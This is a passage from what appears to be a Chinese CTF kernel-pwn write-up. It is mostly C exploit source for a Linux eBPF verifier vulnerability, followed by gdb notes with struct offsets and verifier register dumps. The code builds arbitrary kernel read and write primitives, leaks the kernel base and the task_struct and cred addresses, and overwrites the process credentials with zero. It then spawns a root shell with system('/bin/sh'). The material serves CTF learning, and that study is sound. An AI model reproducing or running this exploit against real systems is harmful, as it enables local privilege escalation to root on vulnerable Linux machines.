return 1;
}
if (n != sizeof(buffer))
{
fprintf(stderr, "short write: %d\n", n);
}
return 0;
}
void update_elem(int key, size_t val)
{
if (bpf_update_elem(mapfd, &key, &val, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
size_t get_elem(int key)
{
size_t val;
if (bpf_lookup_elem(mapfd, &key, &val)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return val;
}
// abitary read 64 bytes: 利用 bpf_obj_get_info_by_fd 读取两个4字节并拼接到一起
size_t read64(size_t addr)
{
uint32_t lo, hi;
char buf[0x50] = {0};
update_elem(0, 0x180000000);
update_elem(1, 1);
update_elem(2, addr-0x58); // change 7 $ p/x &(*(struct btf*)0)->id value[2] 传入 target_addr-0x58
write_msg(); // 触发执行eBPF代码
if (bpf_obj_get_info_by_fd(mapfd, 0x50, buf)) {
fail("bpf_obj_get_info_by_fd failed '%s'\n", strerror(errno));
}
lo = *(unsigned int*)&buf[0x40]; // change 8 $ p/x &(*(struct bpf_map_info*)0)->btf_id 泄露的4字节存入&byf[0x40]
update_elem(2, addr-0x58+4);
write_msg();
if (bpf_obj_get_info_by_fd(mapfd, 0x50, buf)) {
fail("bpf_obj_get_info_by_fd failed '%s'\n", strerror(errno));
}
hi = *(unsigned int*)&buf[0x40];
return (((size_t)hi) << 32) | lo;
}
void clear_btf()
{
update_elem(0, 0x180000000);
update_elem(1, 1);
update_elem(2, 0);
write_msg();
}
void write32(size_t addr, uint32_t data)
{
uint64_t key = 0;
data -= 1;
if (bpf_update_elem(mapfd, &key, &data, addr)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
void write64(size_t addr, size_t data)
{
uint32_t lo = data & 0xffffffff;
uint32_t hi = (data & 0xffffffff00000000) >> 32;
uint64_t key = 0;
write32(addr, lo);
write32(addr+4, hi);
}
int main()
{
// Step 1: create eBPF code, verify and trigger the vulnerability
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 0x100);
if (mapfd < 0)
{
fail("failed to create map '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
int progfd = load_prog(); // verify
printf("%s\n", bpf_log_buf);
if (progfd < 0)
{
if (errno == EACCES)
{
msg("log:\n%s", bpf_log_buf);
}
printf("%s\n", bpf_log_buf);
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
fail("setsockopt '%s'\n", strerror(errno));
}
// Step 2: leak kernel_base (op=0)
update_elem(0, 0x180000000); // value[0]=0x180000000; value[1]=0;
update_elem(1, 0);
size_t value = 0;
write_msg();
size_t ops_addr = get_elem(4); // 读取value[4]处的值
printf("leak addr: 0x%llx\n", ops_addr); //
#define LEAKED 0x10363A0 // (0x10169c0+0x180+0x640) change 1 $ cat /tmp/kallsyms | grep startup_64 0xffffffffb7a6f200-0xffffffffb6a00000
size_t linux_base = ops_addr - LEAKED;
printf("linux base: 0x%llx\n", linux_base);
// Step 3: forge bpf_array->map->ops->map_push_elem = map_get_next_key, at &value[0]+0x80+0x70
char ops[0xe8] = {0};
for(int i=0;i<0xe8;i+=8)
{
*(size_t*)&ops[i] = read64(ops_addr + i); // 在 &value[0]+0x80处伪造 bpf_array->map->ops 函数表
update_elem(0x10+i/8, *(size_t*)&ops[i]);
}
size_t data = read64(ops_addr);
update_elem(0x10+0x70/8, *(size_t*)&ops[0x20]);
// Step 4: leak value addr (bpf_array->value: save bpf brogram) (op=2)
update_elem(0, 0x180000000); // 2
update_elem(1, 2);
write_msg();
size_t heap_addr = get_elem(4);
size_t values_addr = heap_addr + 0x50;
printf("value addr: 0x%llx\n", values_addr);
// Step 5: leak task_struct addr (op=1)
#define INIT_PID_NS 0x1A6B2C0 // 0x1647c00 change 2 $ cat /proc/kallsyms | grep init_pid_ns
size_t init_pid_ns = linux_base+ INIT_PID_NS;
printf("init_pid_ns addr: 0x%llx\n", init_pid_ns); //
pid_t pid = getpid();
printf("self pid is %d\n", pid);
size_t task_addr = read64(init_pid_ns+0x30); // 0x38 change 3 $ p *(struct task_struct*) xxxxxxxx 确认 init_pid_ns 的偏移0x38处存放 task_struct 地址(real_cred 和 cred 地址相同),Linux-5.11版本就是0x30
printf("task_struct addr: 0x%llx\n", task_addr); //
// Step 6: leak cred addr (op=1) 遍历 task_struct->tasks->next 链表,读取指定线程的cred地址
size_t cred_addr = 0;
while(1)
{
pid_t p = read64(task_addr+0x918); // 0x490 change 4 $ p/x &(*(struct task_struct *)0)->pid
printf("iter pid %d ...\n", p);
if(p == pid)
{
puts("got it!");
cred_addr = read64(task_addr+0xad8); // 0x638 change 5 $ p/x &(*(struct task_struct *)0)->cred
break;
}
else
{
task_addr = read64(task_addr+0x818) - 0x818; // 0x390 6 change 6 $ p/x &(*(struct task_struct *)0)->tasks tasks-0x7d0 -0x780 children-0x8f0
printf("[+] iter task %p ...\n", task_addr);
}
}
// Step 7: change cred (op=3)
printf("get cred_addr 0x%llx\n", cred_addr);
size_t usage = read64(cred_addr);
printf("usage: %d\n", usage);
clear_btf();
update_elem(0, 0x180000000); // 2
update_elem(1, 3);
update_elem(2, values_addr+0x80);
write_msg(); // (1) 先篡改 bpf_array->map->ops = &value[0]+0x80; bpf_array->map->map_type=0x17; bpf_array->map->max_entries=-1; bpf_array->map->spin_lock_off=0;
write32(cred_addr+4, 0); // (2) 任意地址写,篡改cred
write64(cred_addr+8, 0);
write64(cred_addr+16, 0);
if(getuid() == 0)
{
puts("getting shell!");
system("/bin/sh");
}

}
/*
(1) wait_list value
gdb-peda$ p/x &(*(struct bpf_array *)0)->value
$1 = 0x110
gdb-peda$ p/x &(*(struct bpf_array *)0)->map->freeze_mutex->wait_list
$4 = 0xc0
(2) init_pid_ns
/ $ cat /tmp/kallsyms | grep init_pid_ns
ffffffff824d65b8 r __ksymtab_init_pid_ns
ffffffff824e1a91 r __kstrtab_init_pid_ns
ffffffff824e6d0c r __kstrtabns_init_pid_ns
ffffffff82663ca0 D init_pid_ns // init_pid_ns offset: 0x1663ca0
gdb-peda$ p/x &(*(struct task_struct *)0)->pid
$7 = 0x908
gdb-peda$ p/x &(*(struct task_struct *)0)->cred
$8 = 0xac8
gdb-peda$ p/x &(*(struct task_struct *)0)->tasks
$9 = 0x808
gdb-peda$ x /20xg 0xffffffff82663ca0 // 确认 init_pid_ns 的偏移0x38处存放 task_cred 地址
0xffffffff82663ca0 <init_pid_ns>: 0x0080000400000000 0xffff8880038266da
0xffffffff82663cb0 <init_pid_ns+16>: 0x0000008500000000 0x0000000000000000
0xffffffff82663cc0 <init_pid_ns+32>: 0x0000000000000000 0x0000000080000032
0xffffffff82663cd0 <init_pid_ns+48>: 0xffff888003605b00 0xffff8880035c5c00
0xffffffff82663ce0 <init_pid_ns+64>: 0x0000000000000000 0x0000000000000000
0xffffffff82663cf0 <init_pid_ns+80>: 0x0000000000000000 0xffffffff8265c3e0
0xffffffff82663d00 <init_pid_ns+96>: 0x0000000000000000 0x0000000000000000
0xffffffff82663d10 <init_pid_ns+112>: 0x0000000000000000 0xffffffff820279e0
0xffffffff82663d20 <init_pid_ns+128>: 0x00000002effffffc 0x0000012d00400000
0xffffffff82663d30 <pid_max>: 0x0000000000008000 0x0000000000000000
$ p *(struct task_struct*) 0xffff888003605b00 //
(3) BPF_JMP_REG(BPF_JGT, BPF_REG_0, BPF_REG_2, 1), 指令之后的执行情况
$ b kernel/bpf/verifier.c:7612 # case BPF_JGT:
$ b kernel/bpf/verifier.c:7627 # true_reg->umin_value = max(true_reg->umin_value, true_umin);
$ p/x *(struct bpf_reg_state*) 0xffff888005d19000
gdb-peda$ p/x *(struct bpf_reg_state*) 0xffff888005d19000 # 执行之前
$1 = {
type = 0x1,
off = 0x0,
{
range = 0x0,
map_ptr = 0x0,
{
btf = 0x0,
btf_id = 0x0
},
mem_size = 0x0,
raw = {
raw1 = 0x0,
raw2 = 0x0
}
},
id = 0x3,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0x7fffffffffffffff
},
smin_value = 0x1,
smax_value = 0x7fffffffffffffff,
umin_value = 0x1,
umax_value = 0x7fffffffffffffff,
s32_min_value = 0x80000000,
s32_max_value = 0x7fffffff,
u32_min_value = 0x0,
u32_max_value = 0xffffffff,
parent = 0xffff888005d1a800,
frameno = 0x0,
subreg_def = 0x0,
live = 0x0,
precise = 0x1
}
$ b kernel/bpf/verifier.c:7702 # __reg_combine_64_into_32(true_reg);
gdb-peda$ p/x *(struct bpf_reg_state*) 0xffff888005d19000 # 执行之后
gdb-peda$ p *(struct bpf_reg_state *) 0xffff888005d1aad0
$3 = {
type = SCALAR_VALUE,
off = 0x0,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
{
btf = 0x0 <fixed_percpu_data>,
btf_id = 0x0
},
mem_size = 0x0,
raw = {
raw1 = 0x0,
raw2 = 0x0
}
},
id = 0x3,
ref_obj_id = 0x0,
var_off = {
value = 0x80000000,
mask = 0x7fffffff7fffffff
},
smin_value = 0x90000000,
smax_value = 0x7fffffffffffffff,
umin_value = 0x90000000,
umax_value = 0x7fffffffffffffff,
s32_min_value = 0x90000000,
s32_max_value = 0xffffffff,
u32_min_value = 0x90000000,
u32_max_value = 0xffffffff,
parent = 0xffff888005d182d0,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_NONE,
precise = 0x1
}
do_check (env=0xffff888005dba000) at kernel/bpf/verifier.c:10141 check_cond_jmp_op()
10141 in kernel/bpf/verifier.c
gdb-peda$ p env->insn_idx # 查看当前指令条数
gdb-peda$ p *(struct bpf_insn*)$rax # 查看当前指令
gdb-peda$ x /10i $rip # 正在执行的指令
gdb-peda$ p/x *(struct bpf_reg_state*)0xffff888005d1a800 # 查看寄存器状态
$ b kernel/bpf/verifier.c:9927 # do_check()通用断点
$ b kernel/bpf/verifier.c:9939
gdb-peda$ p *(struct bpf_insn*)$rax
$10 = {
code = 0xbc,
dst_reg = 0x0,
src_reg = 0x0,
off = 0x0,
imm = 0x0
}
0xffffffff811f6054 <do_check_common+404>: mov BYTE PTR [rbp-0xc9],al // 这里查看操作类型
gdb-peda$ p dst_reg
$11 = (struct bpf_reg_state *) 0xffff888005d19800
gdb-peda$ p *(struct bpf_reg_state *) 0xffff888005d1aad0
gdb-peda$ p *(struct bpf_reg_state *)0xffff888005d19878
*/

总结

Kernel Pwn是真鸡儿难,当然由于其过难,这几次kernel pwn的经历也让我发现,国内kernelpwn几乎都是改的CVE,所以下次搜到相关CVE就算成功?